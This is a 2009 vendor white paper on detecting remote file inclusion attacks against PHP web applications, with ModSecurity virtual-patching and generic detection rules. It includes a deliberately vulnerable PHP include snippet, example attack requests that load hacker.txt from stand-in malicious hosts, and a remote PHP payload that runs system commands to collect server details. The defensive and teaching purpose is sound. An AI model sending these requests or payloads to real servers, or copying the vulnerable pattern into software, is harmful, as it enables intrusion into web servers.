



# DETECTING REMOTE FILE INCLUSION ATTACK

BY: OR KATZ

MAY 2009

## OVERVIEW

The biggest challenge standing in front of security experts is to detect attack that cannot easily be detected using signatures; remote file inclusion (RFI) is a good example of such as attack.

In this article I will try to present the challenges of accurately detecting RFI attacks. In order to achieve detection of unknown variants of the RFI attack I will try to define a generic solution to the problem instead of specific solution for known vulnerabilities by defining a generic rule set that will enable protecting applications from RFI attack.

## ABOUT REMOTE FILE INCLUSION

### GENERAL DESCRIPTION

Remote file inclusion (RFI) is a technique used to attack web applications from a remote computer.

Remote file inclusion attacks allow malicious users to run their own code on a vulnerable web server. The attacker succeeds in running malicious code on a web page by including code from a URL located on a remote server. When an application executes the malicious code it may lead to a backdoor exploit or technical information retrieval.

The application vulnerability leading to RFI is a result of insufficient validation on user input. In order to perform proper validation of input to avoid RFI attacks, an application should check that user input doesn't contain invalid characters or reference to an unauthorized external location.

### IMPLICATIONS

Data not sufficiently checked can lead to arbitrary remote and hostile content being included, processed or invoked by the web server. This allows attackers to:

- **Run remote code**
- **Take control of the vulnerable computer**

### EXAMPLE

RFI vulnerability is a result of bad validation of user input, for example the following PHP code is vulnerable to RFI:

```
<?php
  $format = 'convert_2_text';
  if (isset( $_GET['FORMAT'] ))
  {
      $format = $_GET['FORMAT'];
  }
  include( $format . '.php' );
?>
```

The above PHP code may be activated from such an HTML page:

```
<form method="get">
  <select name="FORMAT">
    <option value="convert_2_text">text</option>
    <option value="convert_2_html">html</option>
    <option value="convert_2_pdf">pdf</option>
  </select>
  <input type="submit">
</form>
```

To exploit the vulnerability for an RFI attack the user will send the following request:

```
GET /?FORMAT=http://www.malicios_site.com/hacker.txt? HTTP/1.1
Host: www.test.com
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
```

The loose validation on form parameter "FORMAT" by the web application allows injection of code from remote location by the "include" PHP function.

In the example above the parameter "FORMAT" which is intended to be used only to inclusion of internal files is used maliciously for external inclusion. In this case the reference to the remote file "http://www.malicios\_site.com/hacker.txt" can contain attacker payload that after included in the application will be used maliciously to retrieve sensitive information or as backdoor to the application.

The remote payload may look like this:

```
<?
echo "HACKER";
$hack1 = @php_uname();
$hack2 = system(uptime);
$hack3 = system(id);
$hack4 = @getcwd();
$hack5 = getenv("SERVER_SOFTWARE");
$hack6 = phpversion();
$hack7 = $_SERVER['SERVER_NAME'];
$hack8 = gethostbyname($SERVER_ADDR);
$hack9 = get_current_user();
$sos = @PHP_OS;
echo "operation system: $sos";
echo "uname -a: $hack1";
echo "uptime: $hack2";
echo "id: $hack3";
echo "pwd: $hack4";
echo "user: $hack9";
echo "phpv: $hack6";
echo "SoftWare: $hack5";
echo "Server Name: $hack7";
echo "Server Address: $hack8";
echo "HACKER technical information retrieval";
exit;
?>
```

This payload when injected to application reveals technical information about the attacked application such as: IP address, server name, passwords and users names.

A correct PHP code should include validation of the "FORMAT" parameter:

```
<?php
    $format = 'convert_2_text';
    if (isset($_GET['FORMAT']))
    {
        if ($_GET['FORMAT'] == "convert_2_text" || $_GET['FORMAT'] == "convert_2_pdf" || $_GET['FORMAT']
        == "convert_2_html")
        {
            $format = $_GET['FORMAT'];
        }
        include($format . '.php');
    }
?>
```

## RFI IN THE WILD

A good example of a real world RFI vulnerability was found in V-Webmail in which a remote user can execute arbitrary PHP code and operating system commands on the target system with the privileges of the target web service, the vulnerability takes advantages of an invalidated data that result with a backdoor to the application, more information can be found in V-Webmail vulnerability.

## PROTECTING THE APPLICATION

### FIXING THE APPLICATION

The obvious protection approach of fixing the application is not always possible, because fixing the application:

- Requires resources, which are not always available.
- Takes time, leaving the application vulnerable.
- Requires having access to the program sources, not always possible for older or outsourced applications.

### EXTERNAL PROTECTION METHODS

An alternative for fixing the application is external protection which can use one of the methods below:

#### Custom protection

This method protects a known vulnerability, in many cases a vulnerability that was already exploited by malicious users. The protection will be implemented by disallowing input of URLs in specific vulnerable parameters.

#### Generic protection

This method protects any application without prior knowledge of a known vulnerability. However, we can't globally block input of URLs. Parameters may legally contain URLs.

## THE CHALLENGE OF RFI DETECTION

As described above an attack will exploit bad parameter validation by sending URLs in the input in order to include a remote source file; on the other end in many cases URL pattern is considered valid input. This makes it hard to create generic protection for web applications and therefore each parameter can be considered as a target for attack.

A common protection method from RFI attacks is to mitigate a known vulnerability (in many cases vulnerability that was already exploit by malicious users) by adding rule that will add specific protection to the vulnerable application, as described above in the section about custom external application protection.

## VIRTUAL PATCHING

A rule to protect an application from the vulnerability mentioned in section 2.4 should block all HTTP requests to your V-Webmail site that:

- Contain a URL in the parameter "CONFIG[pear\_dir]"
- In the URLs:
  - o /vwebmail/includes/mailaccess/pop3/core.php
  - o /v-webmail/includes/mailaccess/pop3.php

An example of an attack looks like:

```
GET /vwebmail/includes/mailaccess/pop3/core.php?CONFIG[pear_dir]= http://www.malicious_site.com/hacker.txt HTTP/1.1
Host: www.test.com
User-Agent: Mozilla/5.0
```

Example of a rule to virtually patch this vulnerability with ModSecurity is:

```
SecRule REQUEST_FILENAME: "/vwebmail/includes/mailaccess/pop3/core.php|/v-webmail/includes/mailaccess/pop3.php" "deny,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,chain,msg:'V-Webmail vulnerability',severity:1,phase:2"

SecRule ARGS:CONFIG[pear_dir] "^"
```

### **The problem with mitigation of known vulnerabilities is that:**

- It can only protect from already known vulnerabilities; taking such a passive approach for protecting web applications is a risk that is not recommended.
- It will not solve the RFI vulnerability in proprietary web application if there were no resources to perform code review or proper penetration testing.

## GENERIC SIGNATURE

When trying to use a negative security approach in order to have generic solution for the RFI attack we will try to search for a signature such as "(ht|f)tps?:/". This approach will result in many false positives since:

- There are request parameters which are used as external link (e.g. - accepts http:// as valid input).
- There are request parameters that are prone to false positives, these parameters are also addressed in this document as free text parameters. In many cases these parameters contains user input (submission of free text from the user to the application) and in other cases parameter that contains large amount of data (may include URL links that can be false detected as RFI attack).

## AN RFI RULE SET

The problem presented above shows that the known vulnerability mitigation protection (custom protection) by itself is not sufficient for protecting from RFI attacks.

The solution presented in this section is a generic protection method that divided into:

- Zero-day protection using patterns.
- Positive security protection employing learning of the application profile and detecting anomalies.

## ZERO DAY PROTECTION

A Zero-day rule can have any of the following conditions:

### IP address

Using an IP address as external link may indicate an attack. And therefore a rule for detecting such a condition should search for the pattern “(ht|f)tps?:/” followed by an IP address.

A typical attack using an IP address looks like:

```
GET /?include=http://192.0.55.2/hacker.txt HTTP/1.1
Host: www.test.com
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
```

And the ModSecurity rule to detect it is:

```
SecRule "ARGS" "@rx (ht|f)tps?:/[([d\.]*)" "
t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,deny,phase:2,msg:'Remote File
Inclusion' "
```

### The PHP function “include()”

We have seen many attack vectors that tries to include remote file by using injection of code typically containing the PHP keyword include.

A rule for detecting such a condition should search for “include(“ followed by “(ht|f)tps?:/”

A typical attack using an include PHP keyword looks like:

```
GET /?id=${include("http://www.malicious_site.com/hacker.txt")}${exit()}} HTTP/1.1
Host: www.test.com
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
```

And the ModSecurity rule to detect it is:

```
SecRule "ARGS" "@rx \binclude\s*\([^)]*(ht|f)tps?:/" "
t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,deny,phase:2,msg:'Remote File
Inclusion' "
```

### **Remote inclusion ends with question mark**

Many of the RFI attack vectors contain at least one question mark at the end of the inclusion without any parameters following it, this is because they try to bypass applications that append information to the user input, for example such a PHP code (see the full code in RFI Example above):

```
include( $format . '.php' );
```

The \$format is the user input and the ".php" is added as extension, appending "?" to the end of the user input eliminates the appended extension.

A rule for detecting such a condition such an attack should search for "(ft|htt)ps?.\*\?\$".

A typical attack using a question mark at end looks like:

```
GET /?include=http://www.malicious_site.com/hacker.txt? HTTP/1.1
Host: www.test.com
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
```

And the ModSecurity rule to detect it is:

```
SecRule "ARGS" "@rx (ft|htt)ps?.*\?+$"
"t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,deny,phase:2,msg:'Remote File
Inclusion' "
```

## **POSITIVE SECURITY PROTECTION**

The positive security protection approach should include manual configuration or automatic learning of the type of the parameters in the web application. The manual configuration or learning should define two different parameter types:

- URL
- Free text

A positive security rule using this configuration to detect an RFI attack should include the following conditions:

1. Request parameter does not have the type URL or free text.
2. Configuration/learning of the request parameter has completed; if the type of the parameter is not set yet the rule should not match.
3. The parameter value includes the pattern "(ht|f)tps?://".
4. If request parameter is from type URL or free text, allow inclusion only from allowed domains or apply the signatures presented in the previous section.

## **IMPLEMENTATION ISSUES**

Issues that need to be addressed when trying to implement the suggested rule set are:

1. Manual configuration vs. automatic learning –the positive security protection approach is very valuable for RFI detection; automatic learning of parameter types is a better option than the manual configuration option.

2. automatic learning should be able to:
  - a. Detect URL type properly; for example detect properly URLs with and without parameter as well as decoded URLs.
  - b. Detect free text parameter – detect parameters that contain user free text so they can be excluded in special cases.
  - c. Detect changes in the application – learning of parameters should detect changes in the application (e.g. – parameter that was learned as valid external link is changed to validate only internal link).
  
3. False positives – the suggested rule set doesn't ensure any false positive detection. A user should choose which of the rules fit his application and which rules should be disabled.

## CONCLUSION

From my personal experience using the suggested rule set reveals most of the RFI attacks and with minimal false positives. Some of the rules overlap but the reason for that is the need to make it possible to disable rules that result in false positives and still remain with a solid rules set that gives good protection for the desired web application.

## ABOUT BREACH SECURITY, INC.

Breach Security, Inc. is the leading provider of real-time, continuous web application integrity, security and compliance that protects sensitive web-based information. Breach Security's products protect web applications from hacking attacks and data leakage, and ensure applications operate as intended. The company's products are trusted by thousands of organisations around the world, including leaders in finance, healthcare, ecommerce, travel and government. For more information, please visit [www.breach.com](http://www.breach.com).